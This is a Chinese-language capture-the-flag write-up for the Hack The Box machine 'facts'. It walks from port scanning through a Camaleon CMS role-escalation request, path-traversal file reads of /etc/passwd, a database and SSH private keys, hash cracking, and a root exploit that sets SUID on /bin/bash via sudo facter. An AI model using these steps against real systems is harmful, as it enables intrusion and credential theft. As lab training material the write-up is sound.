900 字
5 分钟
HTB-facts WriteUp
1. Recon
nmap 扫描端口
└─# nmap -sS -Pn -n --open --min-hostgroup 4 --min-parallelism 1024 --host-timeout 30 -T4 -v -p- 10.129.9.22...Discovered open port 22/tcp on 10.129.9.22Discovered open port 80/tcp on 10.129.9.22Discovered open port 54321/tcp on 10.129.9.22...访问 http://10.129.9.22,跳转域名
└─# curl -I http://10.129.9.22HTTP/1.1 302 Moved TemporarilyServer: nginx/1.26.3 (Ubuntu)Date: Mon, 02 Mar 2026 16:41:34 GMTContent-Type: text/htmlContent-Length: 154Connection: keep-aliveLocation: http://facts.htb/加入域名解析
echo "10.129.9.22 facts.htb" >> /etc/hosts目录扫描发现 /admin 会 302跳转至 /admin/login
dirsearch和feroxbuster默认不显示302 记录
└─# gobuster dir -u http://facts.htb/ -w /usr/share/wordlists/dirb/small.txt.../admin (Status: 302) [Size: 0] [--> http://facts.htb/admin/login]/captcha (Status: 200) [Size: 5773]/en (Status: 200) [Size: 11109]/error (Status: 500) [Size: 7918]/index (Status: 200) [Size: 11116]/page (Status: 200) [Size: 19593]/post (Status: 200) [Size: 11308]/rss (Status: 200) [Size: 183]/search (Status: 200) [Size: 19187]/sitemap (Status: 200) [Size: 3508]/svn (Status: 200) [Size: 11113]/up (Status: 200) [Size: 73]/welcome (Status: 200) [Size: 11966]2. Foothold
注册登录后发现这是一个基于 Camaleon CMS 2.9.0 的系统
搜索发现其在更改口令处有一个越权漏洞,可将普通用户提权至管理员用户
POST /admin/users/5/updated_ajax HTTP/1.1Host: facts.htb...
...&password[role]=admin...
已知 Camaleon CMS 还存在一个LFI 漏洞 CVE-2024-46987 ,因此可获取到该系统账户信息
curl http://target/admin/media/download_private_file?file=../../../../../../etc/passwd
...trivia:x:1000:1000:facts.htb:/home/trivia:/bin/bashwilliam:x:1001:1001::/home/william:/bin/bash通过此,我们再获取 Camaleon CMS 配置文件
curl http://facts.htb/admin/media/download_private_file?file=../config/database.yml回显如下,可见生产环境数据库配置文件为storage/production.sqlite3
# SQLite. Versions 3.8.0 and up are supported.# gem install sqlite3## Ensure the SQLite 3 gem is defined in your Gemfile# gem "sqlite3"#default: &default adapter: sqlite3 pool: <%= ENV.fetch("RAILS_MAX_THREADS") { 5 } %> timeout: 5000
development: <<: *default database: storage/development.sqlite3
# Warning: The database defined as "test" will be erased and# re-generated from your development database when you run "rake".# Do not set this db to the same as development or production.test: <<: *default database: storage/test.sqlite3
# Store production database in the storage/ directory, which by default# is mounted as a persistent Docker volume in config/deploy.yml.production: primary: <<: *default database: storage/production.sqlite3 cache: <<: *default database: storage/production_cache.sqlite3 migrations_paths: db/cache_migrate queue: <<: *default database: storage/production_queue.sqlite3 migrations_paths: db/queue_migrate cable: <<: *default database: storage/production_cable.sqlite3 migrations_paths: db/cable_migrate继续读取
curl http://facts.htb/admin/media/download_private_file?file=../storage/production.sqlite3发现该数据库中存在一段密文
└─# sqlite3 production.sqlite3SQLite version 3.46.1 2024-08-13 09:16:08Enter ".help" for usage hints.sqlite> .tablesaction_mailbox_inbound_emails cama_mediaaction_text_rich_texts cama_metasactive_storage_attachments cama_postsactive_storage_blobs cama_term_relationshipsactive_storage_variant_records cama_term_taxonomyar_internal_metadata cama_userscama_comments plugins_attackscama_custom_fields plugins_contact_formscama_custom_fields_relationships schema_migrationssqlite> select * from cama_users;1|admin|admin|[email protected]||$2a$12$9lLBXaBzcTxohKjxX08aR.WmE7qyhwpl0NGGBLbKDi6t.PB5zdJcK|1QGOA6YxgFANPE6XlGYPpg||||2026-01-08 15:30:12.955853|2025-09-07 21:57:52.634896|2026-01-08 15:30:12.961004|-1|||1|Administrator|sqlite>bcrypt 爆破无终放弃
hashcat -a 0 -m 3200 hash.txt /path/to/rockyou.txt继续读取用户 ssh_key
curl http://facts.htb/admin/media/download_private_file?file=../../../../../../../home/trivia/.ssh/id_ed25519 HTTP/1.1
-----BEGIN OPENSSH PRIVATE KEY-----b3BlbnNzaC1rZXktdjEAAAAACmFlczI1Ni1jdHIAAAAGYmNyeXB0AAAAGAAAABC6AkfilF4X1qH1Sc5xJYfeAAAAGAAAAAEAAAAzAAAAC3NzaC1lZDI1NTE5AAAAICBGEBfDnLSrxPmqCin19lfTaTRgIuGU4tkvz5tCeQp+AAAAoItEd36VziyWstwTUztFPsQJO06LIWZ8Pt/FzYsmSg6ChZmRzSKKcgJnOb1LG1b+JUQdSz69eTt0yaajIRptM3+h8vwjC9vhBBLqUTmuVlUbZYfyhRWZGzxwFFoqT+++kYnHOqBJNjU0WouBYSAteRwopg9pnGOuk4iTKyz+Q5W5nD6UM26c5c5aE455JP79OidG6tzK7WFdL8l0L0HAF7I=-----END OPENSSH PRIVATE KEY-----尝试直接登录,发现该私钥需要口令
The authenticity of host 'facts.htb (10.129.9.22)' can't be established.ED25519 key fingerprint is SHA256:fygAnw6lqDbeHg2Y7cs39viVqxkQ6XKE0gkBD95fEzA.This key is not known by any other names.Are you sure you want to continue connecting (yes/no/[fingerprint])? yesWarning: Permanently added 'facts.htb' (ED25519) to the list of known hosts.Enter passphrase for key 'trivia_id_ed25519':btw,
Filesystem Settings还有aws秘钥,通过此也可以获取到用户的秘钥
配置 aws 工具
└─# aws configureAWS Access Key ID [None]: your_access_keyAWS Secret Access Key [None]: your_secret_keyDefault region name [None]: us-east-1Default output format [None]: table列举桶
└─# aws s3 ls s3:// \ --region us-east-1 \ --endpoint-url http://facts.htb:543212025-09-11 08:06:52 internal2025-09-11 08:06:52 randomfacts查看目录
└─# aws s3 ls s3://internal/.ssh/ \ --region us-east-1 \ --endpoint-url http://facts.htb:543212026-03-04 03:19:01 82 authorized_keys2026-03-04 03:19:01 464 id_ed25519下载
└─# aws s3 cp s3://internal/.ssh/id_ed25519 ./id_ed25519 \ --region us-east-1 \ --endpoint-url http://facts.htb:54321提取公钥,查看注释发现也是 trivia 用户的秘钥
ssh-keygen -y -f id_ed25519Enter passphrase for "id_ed25519":提取 ssh 的加密秘钥hash
ssh2john trivia_id_ed25519使用 john 爆破
john ssh_hash.txt --wordlist=rockyou.txt
...dragonballz (trivia_id_ed25519)...3. PrivEsc
sudo -l 发现有个可以 sudo 的脚本
sudo -lMatching Defaults entries for trivia on facts: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User trivia may run the following commands on facts: (ALL) NOPASSWD: /usr/bin/facter由 gtfobins/facter 得知 facter 将会执行 --custom-dir 目录下的第一个 .rb文件
因此在 tmp 目录下创建一个 rb 提权脚本
#!/usr/bin/env rubyrequire 'fileutils'
file = '/bin/bash'
mode = File.stat(file).modeFile.chmod(mode | 0o4000, file)或者直接更简洁的
#!/usr/bin/env ruby
system("chmod +s /bin/bash")执行
trivia@facts:~$ sudo /usr/bin/facter --custom-dir=/tmp/ xtrivia@facts:~$ /bin/bash -pbash-5.2# whoamiroot4. Reference
Mass Assignment Vulnerability in Camaleon CMS 2.9.0 (AJAX Privilege Escalation) ssh mode 22921 () token length exception
HTB-facts WriteUp
https://blog.41an.com/posts/htb-facts/ 部分信息可能已经过时